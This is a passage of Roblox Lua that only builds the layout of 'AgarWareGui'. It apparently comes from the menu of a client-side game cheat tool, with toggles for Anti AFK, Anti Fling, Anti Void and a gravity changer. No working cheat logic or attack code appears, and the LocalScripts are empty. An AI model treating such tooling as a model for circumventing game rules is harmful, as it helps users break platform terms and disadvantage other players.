G2L["33"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundTransparency"] = 1;
G2L["33"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["33"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["Text"] = [[Mobile Shiftlock]];
G2L["33"]["Name"] = [[ShiftLockText]];
G2L["33"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup
G2L["34"] = Instance.new("Frame", G2L["19"]);
G2L["34"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["34"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["34"]["Size"] = UDim2.new(0, 170, 0, 101);
G2L["34"]["Position"] = UDim2.new(0, 0, 0.49722, 0);
G2L["34"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["34"]["Name"] = [[MiscGroup]];
G2L["34"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscScript
G2L["35"] = Instance.new("LocalScript", G2L["34"]);
G2L["35"]["Name"] = [[MiscScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.UIListLayout
G2L["36"] = Instance.new("UIListLayout", G2L["34"]);
G2L["36"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscAccentColor
G2L["37"] = Instance.new("Frame", G2L["34"]);
G2L["37"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["37"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["37"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["37"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["37"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["37"]["Name"] = [[MiscAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscTitle
G2L["38"] = Instance.new("TextLabel", G2L["34"]);
G2L["38"]["TextWrapped"] = true;
G2L["38"]["BorderSizePixel"] = 0;
G2L["38"]["TextSize"] = 14;
G2L["38"]["TextScaled"] = true;
G2L["38"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["38"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["38"]["BackgroundTransparency"] = 0.95;
G2L["38"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["38"]["Text"] = [[Misc]];
G2L["38"]["LayoutOrder"] = 1;
G2L["38"]["Name"] = [[MiscTitle]];
G2L["38"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.MiscTitle.MiscMinimize
G2L["39"] = Instance.new("TextButton", G2L["38"]);
G2L["39"]["BorderSizePixel"] = 0;
G2L["39"]["TextSize"] = 14;
G2L["39"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["39"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["39"]["BackgroundTransparency"] = 1;
G2L["39"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["39"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["39"]["Text"] = [[-]];
G2L["39"]["Name"] = [[MiscMinimize]];
G2L["39"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow
G2L["3a"] = Instance.new("Frame", G2L["34"]);
G2L["3a"]["BorderSizePixel"] = 0;
G2L["3a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["3a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["3a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3a"]["Name"] = [[RejoinRow]];
G2L["3a"]["LayoutOrder"] = 10;
G2L["3a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinScript
G2L["3b"] = Instance.new("LocalScript", G2L["3a"]);
G2L["3b"]["Name"] = [[RejoinScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RejoinRow.RejoinButton
G2L["3c"] = Instance.new("TextButton", G2L["3a"]);
G2L["3c"]["TextSize"] = 14;
G2L["3c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["3c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["3c"]["Text"] = [[Rejoin Server]];
G2L["3c"]["Name"] = [[RejoinButton]];
G2L["3c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow
G2L["3d"] = Instance.new("Frame", G2L["34"]);
G2L["3d"]["BorderSizePixel"] = 0;
G2L["3d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["3d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["3d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3d"]["Name"] = [[GravityRow]];
G2L["3d"]["LayoutOrder"] = 2;
G2L["3d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityTickBox
G2L["3e"] = Instance.new("TextButton", G2L["3d"]);
G2L["3e"]["TextSize"] = 14;
G2L["3e"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["3e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["3e"]["Text"] = [[]];
G2L["3e"]["Name"] = [[GravityTickBox]];
G2L["3e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityText
G2L["3f"] = Instance.new("TextLabel", G2L["3d"]);
G2L["3f"]["BorderSizePixel"] = 0;
G2L["3f"]["TextSize"] = 14;
G2L["3f"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["3f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3f"]["BackgroundTransparency"] = 1;
G2L["3f"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["3f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3f"]["Text"] = [[Set Gravity]];
G2L["3f"]["Name"] = [[GravityText]];
G2L["3f"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.GravityRow.GravityChanger
G2L["40"] = Instance.new("TextBox", G2L["3d"]);
G2L["40"]["Name"] = [[GravityChanger]];
G2L["40"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["40"]["TextWrapped"] = true;
G2L["40"]["TextSize"] = 14;
G2L["40"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["40"]["TextScaled"] = true;
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["PlaceholderText"] = [[(196.2)]];
G2L["40"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["40"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["40"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["40"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow
G2L["41"] = Instance.new("Frame", G2L["34"]);
G2L["41"]["BorderSizePixel"] = 0;
G2L["41"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["41"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["41"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["41"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["41"]["Name"] = [[BoostFPSRow]];
G2L["41"]["LayoutOrder"] = 2;
G2L["41"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow.BoostFPSTickBox
G2L["42"] = Instance.new("TextButton", G2L["41"]);
G2L["42"]["TextSize"] = 14;
G2L["42"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["42"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["42"]["Text"] = [[]];
G2L["42"]["Name"] = [[BoostFPSTickBox]];
G2L["42"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.BoostFPSRow.BoostFPSText
G2L["43"] = Instance.new("TextLabel", G2L["41"]);
G2L["43"]["BorderSizePixel"] = 0;
G2L["43"]["TextSize"] = 14;
G2L["43"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["43"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["43"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["43"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["43"]["BackgroundTransparency"] = 1;
G2L["43"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["43"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["43"]["Text"] = [[Boost FPS]];
G2L["43"]["Name"] = [[BoostFPSText]];
G2L["43"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow
G2L["44"] = Instance.new("Frame", G2L["34"]);
G2L["44"]["BorderSizePixel"] = 0;
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["44"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["44"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["Name"] = [[RespawnDeathRow]];
G2L["44"]["LayoutOrder"] = 2;
G2L["44"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow.RespawnDeathTickBox
G2L["45"] = Instance.new("TextButton", G2L["44"]);
G2L["45"]["TextSize"] = 14;
G2L["45"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["45"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["45"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["45"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["45"]["Text"] = [[]];
G2L["45"]["Name"] = [[RespawnDeathTickBox]];
G2L["45"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainLeftSide.MiscGroup.RespawnDeathRow.RespawnDeathText
G2L["46"] = Instance.new("TextLabel", G2L["44"]);
G2L["46"]["BorderSizePixel"] = 0;
G2L["46"]["TextSize"] = 14;
G2L["46"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["46"]["BackgroundTransparency"] = 1;
G2L["46"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["46"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["Text"] = [[Respawn at Death]];
G2L["46"]["Name"] = [[RespawnDeathText]];
G2L["46"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide
G2L["47"] = Instance.new("Frame", G2L["18"]);
G2L["47"]["BorderSizePixel"] = 0;
G2L["47"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["47"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["47"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["47"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["47"]["Name"] = [[MainRightSide]];
G2L["47"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.UIListLayout
G2L["48"] = Instance.new("UIListLayout", G2L["47"]);
G2L["48"]["Padding"] = UDim.new(0, 7);
G2L["48"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup
G2L["49"] = Instance.new("Frame", G2L["47"]);
G2L["49"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["49"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["49"]["Size"] = UDim2.new(0, 170, 0, 147);
G2L["49"]["Position"] = UDim2.new(0.01176, 0, 0.40278, 0);
G2L["49"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["49"]["Name"] = [[AntiGroup]];
G2L["49"]["LayoutOrder"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiScript
G2L["4a"] = Instance.new("LocalScript", G2L["49"]);
G2L["4a"]["Name"] = [[AntiScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.UIListLayout
G2L["4b"] = Instance.new("UIListLayout", G2L["49"]);
G2L["4b"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAccentColor
G2L["4c"] = Instance.new("Frame", G2L["49"]);
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["4c"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["4c"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["4c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["4c"]["Name"] = [[AntiAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiTitle
G2L["4d"] = Instance.new("TextLabel", G2L["49"]);
G2L["4d"]["TextWrapped"] = true;
G2L["4d"]["BorderSizePixel"] = 0;
G2L["4d"]["TextSize"] = 14;
G2L["4d"]["TextScaled"] = true;
G2L["4d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4d"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["4d"]["BackgroundTransparency"] = 0.95;
G2L["4d"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["4d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4d"]["Text"] = [[Anti]];
G2L["4d"]["LayoutOrder"] = 1;
G2L["4d"]["Name"] = [[AntiTitle]];
G2L["4d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiTitle.AntiMinimize
G2L["4e"] = Instance.new("TextButton", G2L["4d"]);
G2L["4e"]["BorderSizePixel"] = 0;
G2L["4e"]["TextSize"] = 14;
G2L["4e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4e"]["BackgroundTransparency"] = 1;
G2L["4e"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["4e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4e"]["Text"] = [[-]];
G2L["4e"]["Name"] = [[AntiMinimize]];
G2L["4e"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow
G2L["4f"] = Instance.new("Frame", G2L["49"]);
G2L["4f"]["BorderSizePixel"] = 0;
G2L["4f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["4f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["4f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4f"]["Name"] = [[AntiFlingRow]];
G2L["4f"]["LayoutOrder"] = 3;
G2L["4f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow.AntiFlingTickBox
G2L["50"] = Instance.new("TextButton", G2L["4f"]);
G2L["50"]["TextSize"] = 14;
G2L["50"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["50"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["50"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["50"]["Text"] = [[]];
G2L["50"]["Name"] = [[AntiFlingTickBox]];
G2L["50"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiFlingRow.AntiFlingText
G2L["51"] = Instance.new("TextLabel", G2L["4f"]);
G2L["51"]["BorderSizePixel"] = 0;
G2L["51"]["TextSize"] = 14;
G2L["51"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["51"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["51"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["51"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["51"]["BackgroundTransparency"] = 1;
G2L["51"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["51"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["51"]["Text"] = [[Anti Fling]];
G2L["51"]["Name"] = [[AntiFlingText]];
G2L["51"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow
G2L["52"] = Instance.new("Frame", G2L["49"]);
G2L["52"]["BorderSizePixel"] = 0;
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["52"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["52"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["52"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["Name"] = [[AntiAfkRow]];
G2L["52"]["LayoutOrder"] = 3;
G2L["52"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow.AntiAfkTickBox
G2L["53"] = Instance.new("TextButton", G2L["52"]);
G2L["53"]["TextSize"] = 14;
G2L["53"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["53"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["53"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["53"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["53"]["Text"] = [[]];
G2L["53"]["Name"] = [[AntiAfkTickBox]];
G2L["53"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiAfkRow.AntiAfkText
G2L["54"] = Instance.new("TextLabel", G2L["52"]);
G2L["54"]["BorderSizePixel"] = 0;
G2L["54"]["TextSize"] = 14;
G2L["54"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["54"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["BackgroundTransparency"] = 1;
G2L["54"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["54"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["Text"] = [[Anti AFK]];
G2L["54"]["Name"] = [[AntiAfkText]];
G2L["54"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow
G2L["55"] = Instance.new("Frame", G2L["49"]);
G2L["55"]["BorderSizePixel"] = 0;
G2L["55"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["55"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["55"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["55"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["55"]["Name"] = [[AntiRagdollRow]];
G2L["55"]["LayoutOrder"] = 3;
G2L["55"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow.AntiRagdollTickBox
G2L["56"] = Instance.new("TextButton", G2L["55"]);
G2L["56"]["TextSize"] = 14;
G2L["56"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["56"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["56"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["56"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["56"]["Text"] = [[]];
G2L["56"]["Name"] = [[AntiRagdollTickBox]];
G2L["56"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiRagdollRow.AntiRagdollText
G2L["57"] = Instance.new("TextLabel", G2L["55"]);
G2L["57"]["BorderSizePixel"] = 0;
G2L["57"]["TextSize"] = 14;
G2L["57"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["57"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["57"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["57"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["57"]["BackgroundTransparency"] = 1;
G2L["57"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["57"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["57"]["Text"] = [[Anti Ragdoll]];
G2L["57"]["Name"] = [[AntiRagdollText]];
G2L["57"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow
G2L["58"] = Instance.new("Frame", G2L["49"]);
G2L["58"]["BorderSizePixel"] = 0;
G2L["58"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["58"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["58"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["58"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["58"]["Name"] = [[AntiVoidRow]];
G2L["58"]["LayoutOrder"] = 3;
G2L["58"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow.AntiVoidTickBox
G2L["59"] = Instance.new("TextButton", G2L["58"]);
G2L["59"]["TextSize"] = 14;
G2L["59"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["59"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["59"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["59"]["Text"] = [[]];
G2L["59"]["Name"] = [[AntiVoidTickBox]];
G2L["59"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiVoidRow.AntiVoidText
G2L["5a"] = Instance.new("TextLabel", G2L["58"]);
G2L["5a"]["BorderSizePixel"] = 0;
G2L["5a"]["TextSize"] = 14;
G2L["5a"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["5a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5a"]["BackgroundTransparency"] = 1;
G2L["5a"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["5a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5a"]["Text"] = [[Anti Void]];
G2L["5a"]["Name"] = [[AntiVoidText]];
G2L["5a"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow
G2L["5b"] = Instance.new("Frame", G2L["49"]);
G2L["5b"]["BorderSizePixel"] = 0;
G2L["5b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["5b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["5b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5b"]["Name"] = [[AntiKBRow]];
G2L["5b"]["LayoutOrder"] = 3;
G2L["5b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow.AntiKBTickBox
G2L["5c"] = Instance.new("TextButton", G2L["5b"]);
G2L["5c"]["TextSize"] = 14;
G2L["5c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["5c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["5c"]["Text"] = [[]];
